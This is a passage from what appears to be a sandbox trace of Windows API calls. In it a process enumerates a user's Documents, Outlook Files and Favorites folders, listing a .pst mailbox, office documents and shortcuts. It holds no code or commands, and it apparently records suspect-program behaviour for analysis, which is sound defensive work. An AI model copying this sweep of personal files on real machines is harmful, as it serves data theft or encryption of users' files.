(in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d438 | out: hHeap=0x670000) returned 1 [0059.435] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.436] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0059.436] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0059.436] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.436] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.436] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.436] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.436] PathFindFileNameW (pszPath="") returned="" [0059.436] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0059.436] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0059.436] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.436] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d438 | out: hHeap=0x670000) returned 1 [0059.436] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.436] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0059.436] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0059.436] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.436] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.436] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.436] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.436] PathFindFileNameW (pszPath="") returned="" [0059.437] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.437] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0059.437] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.437] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0059.437] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0059.437] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.437] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.437] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d438 | out: hHeap=0x670000) returned 1 [0059.437] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.437] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\") returned="Yw9G-4_B\\" [0059.437] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0059.437] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.438] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.438] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.438] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.438] PathFindFileNameW (pszPath="") returned="" [0059.438] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5a1350, ftCreationTime.dwHighDateTime=0x1d4ca71, ftLastAccessTime.dwLowDateTime=0xb2b6a1a0, ftLastAccessTime.dwHighDateTime=0x1d4c95a, ftLastWriteTime.dwLowDateTime=0xb2b6a1a0, ftLastWriteTime.dwHighDateTime=0x1d4c95a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.438] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0059.438] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5a1350, ftCreationTime.dwHighDateTime=0x1d4ca71, ftLastAccessTime.dwLowDateTime=0xb2b6a1a0, ftLastAccessTime.dwHighDateTime=0x1d4c95a, ftLastWriteTime.dwLowDateTime=0xb2b6a1a0, ftLastWriteTime.dwHighDateTime=0x1d4c95a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.438] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe048bb20, ftCreationTime.dwHighDateTime=0x1d4d270, ftLastAccessTime.dwLowDateTime=0xaa721750, ftLastAccessTime.dwHighDateTime=0x1d4cb6b, ftLastWriteTime.dwLowDateTime=0xaa721750, ftLastWriteTime.dwHighDateTime=0x1d4cb6b, nFileSizeHigh=0x0, nFileSizeLow=0x7b47, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="68l k.odp", cAlternateFileName="68LK~1.ODP")) returned 1 [0059.438] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a2710, ftCreationTime.dwHighDateTime=0x1d4c7e2, ftLastAccessTime.dwLowDateTime=0x45f0bdb0, ftLastAccessTime.dwHighDateTime=0x1d4c9ac, ftLastWriteTime.dwLowDateTime=0x45f0bdb0, ftLastWriteTime.dwHighDateTime=0x1d4c9ac, nFileSizeHigh=0x0, nFileSizeLow=0x8c82, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="foWRjFtWYtlcWkIBF.ppt", cAlternateFileName="FOWRJF~1.PPT")) returned 1 [0059.438] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59502f90, ftCreationTime.dwHighDateTime=0x1d4d1da, ftLastAccessTime.dwLowDateTime=0x5bca0990, ftLastAccessTime.dwHighDateTime=0x1d4cad1, ftLastWriteTime.dwLowDateTime=0x5bca0990, ftLastWriteTime.dwHighDateTime=0x1d4cad1, nFileSizeHigh=0x0, nFileSizeLow=0x17d8b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="l8IL3_dOyLyH.odp", cAlternateFileName="L8IL3_~1.ODP")) returned 1 [0059.438] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad0bcd30, ftCreationTime.dwHighDateTime=0x1d4cbe8, ftLastAccessTime.dwLowDateTime=0xcc7332b0, ftLastAccessTime.dwHighDateTime=0x1d4c780, ftLastWriteTime.dwLowDateTime=0xcc7332b0, ftLastWriteTime.dwHighDateTime=0x1d4c780, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NtnCGgs", cAlternateFileName="")) returned 1 [0059.438] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0fcf310, ftCreationTime.dwHighDateTime=0x1d4cbbe, ftLastAccessTime.dwLowDateTime=0x61cfe3b0, ftLastAccessTime.dwHighDateTime=0x1d4d322, ftLastWriteTime.dwLowDateTime=0x61cfe3b0, ftLastWriteTime.dwHighDateTime=0x1d4d322, nFileSizeHigh=0x0, nFileSizeLow=0x103a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QITXJJCFSuy.rtf", cAlternateFileName="QITXJJ~1.RTF")) returned 1 [0059.438] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d14890, ftCreationTime.dwHighDateTime=0x1d4d320, ftLastAccessTime.dwLowDateTime=0x51ae4c70, ftLastAccessTime.dwHighDateTime=0x1d4c83b, ftLastWriteTime.dwLowDateTime=0x51ae4c70, ftLastWriteTime.dwHighDateTime=0x1d4c83b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Rpss_8PAcreSznq0jw9", cAlternateFileName="RPSS_8~1")) returned 1 [0059.438] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e445ba0, ftCreationTime.dwHighDateTime=0x1d4ccd0, ftLastAccessTime.dwLowDateTime=0xa1828d70, ftLastAccessTime.dwHighDateTime=0x1d4c93e, ftLastWriteTime.dwLowDateTime=0xa1828d70, ftLastWriteTime.dwHighDateTime=0x1d4c93e, nFileSizeHigh=0x0, nFileSizeLow=0xe444, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wYeZ7WgnHNP8l.rtf", cAlternateFileName="WYEZ7W~1.RTF")) returned 1 [0059.438] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e445ba0, ftCreationTime.dwHighDateTime=0x1d4ccd0, ftLastAccessTime.dwLowDateTime=0xa1828d70, ftLastAccessTime.dwHighDateTime=0x1d4c93e, ftLastWriteTime.dwLowDateTime=0xa1828d70, ftLastWriteTime.dwHighDateTime=0x1d4c93e, nFileSizeHigh=0x0, nFileSizeLow=0xe444, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wYeZ7WgnHNP8l.rtf", cAlternateFileName="WYEZ7W~1.RTF")) returned 0 [0059.438] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.438] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.438] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d438 | out: hHeap=0x670000) returned 1 [0059.438] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.438] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0059.438] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0059.439] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.439] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.439] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.439] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.439] PathFindFileNameW (pszPath="") returned="" [0059.439] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.439] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6428 | out: hHeap=0x670000) returned 1 [0059.439] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.439] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0059.439] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0059.439] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0059.439] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0059.439] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.439] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.439] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.439] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0059.439] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0059.440] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.440] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.440] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.440] PathFindFileNameW (pszPath="") returned="" [0059.440] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.441] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.441] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0059.441] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0059.441] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0059.442] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0059.442] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0059.442] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0059.442] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.442] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.442] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0059.442] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0059.443] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.443] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.443] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.443] PathFindFileNameW (pszPath="") returned="" [0059.443] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.444] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.444] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0059.444] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0059.444] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, 